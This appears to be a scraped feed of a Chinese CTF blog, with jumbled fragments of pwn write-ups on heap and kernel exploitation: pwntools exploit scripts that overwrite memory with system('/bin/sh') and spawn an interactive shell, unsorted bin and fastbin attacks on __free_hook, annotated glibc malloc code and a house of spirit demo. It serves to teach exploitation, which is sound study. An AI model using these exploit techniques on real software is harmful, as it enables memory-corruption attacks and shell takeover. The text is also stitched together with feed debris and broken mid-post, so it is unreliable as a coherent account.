defleave(name,reason,comment): sa('Please enter your name: ', name) sa('Please enter your age: ', '1\n') sa('Why did you came to see this movie? ', reason) sa('Please enter your comment: ', comment)
defandone(): sa('Would you like to leave another comment? <y/n>: ', 'y')
#overflow to nbytes for i in range(10): leave('kangel\0','a\0','b\0') andone()
for i in range(90): sa('Please enter your age: ', '1\n') sa('Why did you came to see this movie? ', 'c\x00') sa('Would you like to leave another comment? <y/n>: ', 'y')
#heap overflow name = 'a'*0x4c + p32(system_addr) + p32(0xdeadbeef) + p32(bin_sh) leave(name,'a\0','b\0') # gd() sa('Would you like to leave another comment? <y/n>: ', 'n') p.interactive()
[*] '/mnt/hgfs/shared/RCTF/pwn/no_write_attachment/no_write' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
{ “vuln_obj”: { “size”: 256, // Concrete value of the size // The address of the function call allocating the object “callsite”: 0xffffffff811f18d0 }, “KASAN reports”: [{ // call chain to the KASAN report function “backtrace”: [0xffffffff814b56a6, 0xffffffff81477763], “length”: 1 }]}
KEPLER: Facilitating control-flow hijacking primitive eval-uation for linux kernel vulnerabilities
Heaphopper: Bringing bounded model checking toheap implementation security
结论
]]>
<h3 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h3><p>题目：<strong>KOOBE: Towards Facilitating Exploit Generation of Kernel Ou
kernel pwn(one)https://j-kangel.github.io/2020/04/16/kernel-pwn-one/2020-04-15T21:52:30.000Z2020-04-16T13:56:55.147Z前言
➜ babyhacker checksec vmlinux [*] '/home/kangel/pwn/kernel/babyhacker/vmlinux' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0xffffffff81000000) RWX: Has RWX segments
checksec babyhacker.ko，开启了canary
1 2 3 4 5 6 7
➜ babyhacker checksec babyhacker.ko [*] '/home/kangel/pwn/kernel/babyhacker/babyhacker.ko' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x0)
➜ babyhacker gcc poc.c -static -masm=intel -g -o poc poc.c: In function ‘main’: poc.c:56:9: warning: format ‘%p’ expects argument of type ‘void *’] printf("[+]canary: %p\n", canary); ^ ➜ babyhacker mv poc core/home/pwn ➜ babyhacker cd core ➜ core find . | cpio -o --format=newc > ../initramfs.cpio 15405 块
进行调试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
➜ babyhacker gdb ./vmlinux -q pwndbg: loaded 181 commands. Type pwndbg [filter] for a list. pwndbg: created $rebase, $ida gdb functions (can be used with prin) Reading symbols from ./vmlinux...(no debugging symbols found)...do. pwndbg> add-symbol-file babyhacker.ko 0xffffffffc02ff000 add symbol table from file "babyhacker.ko" at .text_addr = 0xffffffffc0093000 Reading symbols from babyhacker.ko...done. pwndbg> b *0xffffffffc02ff000+0x50 Breakpoint 1 at 0xffffffffc0093050: file /home/zoe/Desktop/kernel_. pwndbg> target remote :1234 Remote debugging using :1234 0xffffffff8e263656 in ?? () ... pwndbg> c Continuing.
context.log_level="debug" context.terminal = ['tmux','split','-h'] p = process("./EasyVM")
r = lambda x: p.recvuntil(x) s = lambda x,y: p.sendafter(x,y) sl = lambda x,y: p.sendlineafter(x,y)
defproduce(ins): sl(">>> ","1") p.send(ins)
defstart(): sl(">>> ","2")
deffree(): sl(">>> ","3")
defgift(): sl(">>> ","4")
defread_one(addr): ins = '\x80\x03'+p32(addr)+'\x53\x00' ins += '\x80\x03'+p32(addr+1)+'\x53\x00' ins += '\x80\x03'+p32(addr+2)+'\x53\x00' ins += '\x80\x03'+p32(addr+3)+'\x53\x00' ins += '\x99' produce(ins) start()
defwrite_one(addr,value): ins = '\x80\x03'+p32(addr)+'\x54\x00' ins += '\x80\x03'+p32(addr+1)+'\x54\x00' ins += '\x80\x03'+p32(addr+2)+'\x54\x00' ins += '\x80\x03'+p32(addr+3)+'\x54\x00' ins += '\x80\x00'+'/bin' ins += '\x80\x01'+'/sh\x00' ins += '\x99' produce(ins) start() p.send(value)
/* If a small request, check regular bin. Since these "smallbins" hold one size each, no searching within bins is necessary. (For a large request, we need to wait until unsorted chunks are processed to find best fit. But for small ones, fits are exact anyway, so we can check now, which is faster.) */
if (in_smallbin_range(nb)) { // 获取 small bin 的索引 idx = smallbin_index(nb); // 获取对应 small bin 中的 chunk 指针 bin = bin_at(av, idx); // 先执行 victim= last(bin)，获取 small bin 的最后一个 chunk // 如果 victim = bin ，那说明该 bin 为空。 // 如果不相等，那么会有两种情况 if ((victim = last(bin)) != bin) { // 第一种情况，small bin 还没有初始化。 if (victim == 0) /* initialization check */ // 执行初始化，将 fast bins 中的 chunk 进行合并 malloc_consolidate(av); // 第二种情况，small bin 中存在空闲的 chunk else { // 获取 small bin 中倒数第二个 chunk 。 bck = victim->bk; // 检查 bck->fd 是不是 victim，防止伪造 if (__glibc_unlikely(bck->fd != victim)) { errstr = "malloc(): smallbin double linked list corrupted"; goto errout; } // 设置 victim 对应的 inuse 位 set_inuse_bit_at_offset(victim, nb); // 修改 small bin 链表，将 small bin 的最后一个 chunk 取出来 bin->bk = bck; bck->fd = bin; // 如果不是 main_arena，设置对应的标志 if (av != &main_arena) set_non_main_arena(victim); // 细致的检查 check_malloced_chunk(av, victim, nb); // 将申请到的 chunk 转化为对应的 mem 状态 void *p = chunk2mem(victim); // 如果设置了 perturb_type , 则将获取到的chunk初始化为 perturb_type ^ 0xff alloc_perturb(p, bytes); return p; } } }
从下面的这部分我们可以看出
1 2 3 4 5 6 7 8 9 10 11 12
// 获取 small bin 中倒数第二个 chunk 。 bck = victim->bk; // 检查 bck->fd 是不是 victim，防止伪造 if (__glibc_unlikely(bck->fd != victim)) { errstr = "malloc(): smallbin double linked list corrupted"; goto errout; } // 设置 victim 对应的 inuse 位 set_inuse_bit_at_offset(victim, nb); // 修改 small bin 链表，将 small bin 的最后一个 chunk 取出来 bin->bk = bck; bck->fd = bin;
如果我们可以修改 small bin 的最后一个 chunk 的 bk 为我们指定内存地址的fake chunk，并且同时满足之后的 bck->fd != victim 的检测，那么我们就可以使得 small bin 的 bk 恰好为我们构造的 fake chunk。也就是说，当下一次申请 small bin 的时候，我们就会分配到指定位置的 fake chunk。
#if USE_TCACHE /* While we're here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */ while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin) { if (tc_victim != 0) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena) set_non_main_arena (tc_victim); bin->bk = bck; //类似house of lore bck->fd = bin; //没有做任何检查，类似unsorted bin
tcache_put (tc_victim, tc_idx); } } } #endif
可以看到，当small bin不为空而tcache不满时，可以达到与unsorted bin attack和house of lore相同的攻击效果。
[*] '/mnt/hgfs/pwn/buuoj/es_2_stack_pivot/ciscn_2019_es_2' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
]]>
life is beautiful!
UNCTF 2019 pwn orwHeap详解https://j-kangel.github.io/2020/04/01/UNCTF-2019-pwn-orwHeap详解/2020-04-01T10:24:20.000Z2020-04-01T04:05:12.649Z前言
这道题是glibc2.23环境的堆题，包含多种知识与技巧。例如：沙箱函数、overlapping、利用_IO_2_1_stdout_泄漏libc、unsorted bin attack、fastbin attack、setcontext、mprotect、srop等等。
分析
检查保护机制，保护全开
1 2 3 4 5 6 7
➜ unctf_orwheap checksec pwn [*] '/mnt/hgfs/shared/unctf_orwheap/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
ida静态分析
可以发现在add函数处存在off by one。但是限制了size大小(size > 0x67 && size <= 0x3F0)，这样我们依然可以进行overlapping。
这时候可以利用堆空间来部署SigreturnFrame()，然后将利用fastbin attack将__free_hook的地址改成setcontext。在改写__free_hook之前我们需要利用unsorted bin attack来伪造chunk size。（不得不说，unsorted bin attack确实是打辅助的好手）
1 2 3 4 5 6 7 8
#unsorted bin attack delete(0) add(0x68,'0'*0x68+'\xa1') delete(1) add(0x98,'1'*0x70+p64(0)+p64(0x91)) delete(2) edit(1,'1'*0x70+p64(0)+p64(0x91)+p64(0)+p64(free_hook-0x20)) add(0x88,'2'*0x60)
]]>
“巨鲸落，万物生，一念百草生，一念山河成”
堆学习之house of spirithttps://j-kangel.github.io/2020/03/26/堆学习之house-of-spirit/2020-03-26T11:05:40.000Z2020-03-26T05:18:52.983Z前言
一直对house of系列的利用模棱两可，现在刚好可以利用疫情在家的时间好好梳理一下。
house of spirit（以下简称hos）是 the Malloc Maleficarum 中的一种技术。该技术的核心在于在目标位置处伪造 fastbin chunk，并将其释放，从而达到分配指定地址的 chunk 的目的。
intmain() { fprintf(stderr, "This file demonstrates the house of spirit attack.\n");
fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n"); malloc(1)； fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n"); unsignedlonglong *a; // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) unsignedlonglong fake_chunks[10] __attribute__ ((aligned (16)));
fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);
fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); fake_chunks[1] = 0x40; // this is the size
fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8 fake_chunks[9] = 0x1234; // nextsize
fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); a = &fake_chunks[2];
fprintf(stderr, "Freeing the overwritten pointer.\n"); free(a);
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30)); }
➜ woodenbox checksec woodenbox2 [*] '/mnt/hgfs/shared/gxzy/pwn/woodenbox/woodenbox2' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled ➜ woodenbox ./woodenbox2 ---------------------------- Wooden Box Menu ---------------------------- 1.add a new item 2.change the item in the box 3.remove the item in the box 4.exit ---------------------------- Your choice:
from pwn import * context.arch = 'amd64' #context.log_level = 'debug'
p = process("./woodenbox2") elf = ELF("./woodenbox2") libc = ELF("./libc6_2.23-0ubuntu11_amd64.so")
defadd(l,name): p.sendlineafter("choice:","1") p.sendlineafter("length of item name:",str(l)) p.sendlineafter("name of item:",name)
defchange(idx,l,name): p.sendlineafter("choice:","2") p.sendlineafter("index of item:",str(idx)) p.sendlineafter("length of item name:",str(l)) p.sendlineafter("new name of the item:",name)
]]>
That year, I was 21 years old.
2019xnuca总决赛adw7 writeuphttps://j-kangel.github.io/2019/12/30/2019xnuca总决赛adw7-writeup/2019-12-30T15:15:34.000Z2019-12-30T11:57:19.125Z
Thank you, thank you all so very much, thank you to all of you in this room, none of there would be possible without you. Thank you!
]]>
first flay with the arm pwn, it's funny!
linux 系统调用相关https://j-kangel.github.io/2019/12/25/linux-系统调用相关/2019-12-25T10:19:31.000Z2019-12-25T05:19:10.823Z
If you look for it, I’ve got a sneaky feeling you’ll find that love actually is all around.
]]>
If you look for it, I've got a sneaky feeling you'll find that love actually is all around.
pwnable.tw writeuphttps://j-kangel.github.io/2019/12/25/pwnable-tw-writeup/2019-12-25T09:34:21.000Z2019-12-25T05:30:47.248Z
]]>
Every time a bell rings, an angel gets his wings.
linux 酷炫小工具https://j-kangel.github.io/2019/12/23/linux-酷炫小工具/2019-12-23T15:17:57.000Z2019-12-23T07:17:57.994Z
